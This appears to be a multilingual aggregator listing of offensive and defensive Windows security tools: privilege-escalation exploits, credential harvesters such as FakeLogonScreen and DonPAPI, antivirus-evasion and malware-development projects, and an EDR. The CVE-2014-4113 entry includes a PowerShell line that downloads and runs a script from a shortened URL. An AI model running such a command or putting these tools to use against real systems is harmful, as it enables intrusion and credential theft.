CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 Только для Windows x64 iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CVE-2021-34527

PrintNightmare CVE-2021-34527 Эта версия эксплойта PrintNightmare основана на коде, созданном Cube0x0, и имеет следующие возможности: Возможность нацеливания на несколько хостов. Встроенный SMB-сервер для доставки полезной нагрузки, устраняющий необходимость в открытых файловых ресурсах. Эксплойт...

fakelogonscreen

FakeLogonScreen FakeLogonScreen is a utility to fake the Windows logon screen in order to obtain the user's password. The password entered is validated against the Active Directory or local machine to make sure it is correct and is then displayed to the console or saved to disk. It can either be...

GodPotato

GodPotato Основываясь на истории повышения привилегий Potato за 6 лет, от RottenPotato до JuicyPotatoNG, я обнаружил новую технологию, исследуя DCOM, которая позволяет повышать привилегии в Windows 2012 - Windows 2022. Теперь, пока у вас есть разрешение "ImpersonatePrivilege", вы становитесь "NT...

CVE-2025-8088

기술 심층 분석: CVE-2025-8088 - 탄력적인 경로 탐색 면책 조항: 이 콘텐츠는 교육 및 연구 목적으로만 제공됩니다. 이 정보를 악의적인 활동에 사용하지 마십시오. 오늘은 CVE-2025-8088 로 추적되는 흥미로운 경로 탐색 취약점을 심층 분석합니다. 이 취약점은 피해자가 특수하게 조작된 RAR 아카이브를 추출할 때 공격자가 임의의 파일을 피해자 시스템의 모든 위치에 쓸 수 있게 합니다. 이 특정 익스플로잇이 흥미로운 점은 사용자가 아카이브를 추출하는 위치에 관계없이 성공적인 페이로드 전달을 보장하기 위한 '샷건...

maldev-for-dummies

Malware Development for Dummies In the age of EDR, red team operators cannot get away with using pre-compiled payloads anymore. As such, malware development is becoming a vital skill for any operator. Getting started with maldev may seem daunting, but is actually very easy. This workshop will sho...

avet

안티바이러스 우회 도구 AVET는 기술 발전 및 시간 제약으로 인해 더 이상 개발되지 않습니다. AVET는 침투 테스터의 작업을 더 쉽게 만들고 안티바이러스 우회 기술 및 악성 소프트웨어에서 사용되는 기타 방법을 실험하기 위해 개발된 안티바이러스 우회 도구입니다. v2.4 의 새로운 기능 및 이전 버전 변경 사항에 대한 개요는 CHANGELOG 파일을 참조하세요. 목차 설치 Docker 간편한 AVET 일반적인 AVET 문서 클릭하여 펼치기 데이터 검색 방법 암호화 및 인코딩 샌드박스 우회 추가 명령 실행 도우미 도구 AVET...

CVE-2024-36991-Tool

CVE-2024-36991-Tool This binary POC automates the exploitation of CVE-2024-36991 by sending crafted curl requests to a vulnerable Splunk instance. It retrieves sensitive files and saves them locally for further analysis. The script is modular, allowing users to target specific file categories e.g...

DonPAPI

DonPAPI DonPAPI автоматизирует удаленный сбор секретов на нескольких компьютерах под управлением Windows, с учетом защиты от обнаружения. Собранные учетные данные: Учетные данные браузера Chromium, куки и Chrome Refresh Token Сертификаты Windows Диспетчер учетных данных Учетные данные и куки...

CVE-2021-36934-export-shadow-volume-POC

CVE-2021–36934 파생된 해시는 PTH 및 bills 등의 위조에 사용됩니다. 여기서는 자세한 분석을 제공하지 않습니다. 또한, 대부분의 시스템 파일에 대한 접근 권한을 얻을 수 있다는 점을 고려할 때, 마이크로소프트 관계자들도 이를 권한 상승 취약점으로 분류한 바와 같이, 이 외에도 더 많은 공격 방법이 존재해야 합니다. 볼륨 섀도에서 파일을 내보내기 위해 간단한 스크립트가 사용되며, 단지 아이디어를 제공할 뿐입니다. 관리자 권한이 없다는 점을 감안할 때, 직접 작성하는 것이 더 쉽고, mimikatz보다 탐지를 피...

BugChecker

BugChecker Введение BugChecker — это отладчик ядра и пользовательского режима для Windows 11 а также Windows XP: поддерживаются версии Windows от XP до 11, как x86, так и x64, напоминающий SoftICE. В отличие от WinDbg и KD, BugChecker не требует второй машины, подключенной к отлаживаемой системе...

Evtx_Log_Browser

Evtx 로그xml 브라우저 Windows evtx 이벤트 로그를 탐색하고 xml로 내보냅니다 최신 버전은여기에서 확인하세요 종속성: .NET Framework 4.8 Powershell 버전: 5.1...

ida_bochs_windows

idabochswindows 네이티브 Bochs 디버거에서 IDA Pro를 사용한 Windows 커널 디버깅용 헬퍼 스크립트 PDB 심볼 포함 python3 + idapython 7.4 Bochs 디버거: Bochs 디버거 GUI: 사용법 경고 : IDA를 열기 전에 환경 변수 NTSYMBOLPATH를 Windows 심볼로 설정해야 합니다. 예: root@kitploit: SRVC:\winsymbols "C:\Program Files\IDA Pro 7.7\cfg\dbgbochs.cfg" 파일을 편집하세요...

CVE-2023-21768-DSE-Bypass

Форк Этот проект является форком: WindowsLPEAFDCVE-2023-21768 . Обновления Этот проект обновлён из эксплойта chompie1337 и будет отключать DSE, загружать неподписанный драйвер и включать DSE...

PetitPotam

PetitPotam PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions : The tools use the LSARPC named pipe with inteface c681d488-d850-11d0-8c52-00c04fd90f7e because it's more prevalent. But it's possible to trigger with the EFSRPC named...

magicNetdefs

magicNetdfs Reference https://github.com/Wh04m1001/DFSCoerce Usage 考虑进一步更新，目前只是验证该RPC方法的可利用性，后续考虑对SYSTEM令牌的具体利用 Description 利用MS-DFSNM协议 https://docs.microsoft.com/en-us/openspecs/windowsprotocols/ms-dfsnm/95a506a8-cae6-4c42-b19d-9c1ed1223979 其中提供了RPC方法NetrDfsRemoveStdRoot,可以进行UNC欺骗使得特权进程访问自定义管道:...

WTSRM

WTSRM - 제 강연을 위한 Writing Tiny Small Reliable Malware 데모 저장소 \KnownDlls\를 사용하여 모든 Windows DLL의 후킹을 해제unhook합니다 CRT 의존성 없음 작은 크기 낮은 엔트로피 무작위 문자열 암호화 키 따라서 평문 문자열이 없음 API 해싱 훅 탐지 ntdll에서 초기 언훅unhooking을 위해 훅을 우회합니다...

RIPPL

RIPPL 드라이버를 사용하지 않고 PPL 보호 프로세스 조작하기 이 도구는 Windows PPL 보호 프로세스를 조작하기 위한 사용자 영역 익스플로잇을 구현합니다. 이 기술은 원래 James Forshaw일명 @tiraniddo와 Clément Labro일명 @itm4n가 다음 블로그 게시물에서 처음 논의했습니다. James Forshaw의 블로그 게시물 : Windows 익스플로잇 트릭 Clément Labro의 블로그 게시물 파트 1 : LSA 보호RunAsPPL에 대해 정말 알고 계십니까? Clément Labro의 블...

whids

重要: このREADMEおよびその他のドキュメントは、最新のベータリリースで行われた変更を反映するように更新されていません（多くの変更が行われたため）。安定版がリリースされた時点で、これらすべてが更新される予定です（次期リリースまでのロードマップを参照）。ご自身の判断でベータリリースを実行し、質問があればお気軽にどうぞ。 概要 EDR （エンドポイント検出・対応）であり、検出に基づくアーティファクト収集機能を備えています。検出エンジンは、Windowsイベントをユーザー定義のルールと照合するために特別に設計された以前のプロジェクトGeneをベースに構築されています。...

whids

IMPORTANT: this README and other documentation is not updated to reflect the changes made to latest beta releases as a lot of changes happened. All this will be updated in time when a stable version will be released see Roadmap until next release. Feel free to run beta releases on your own and as...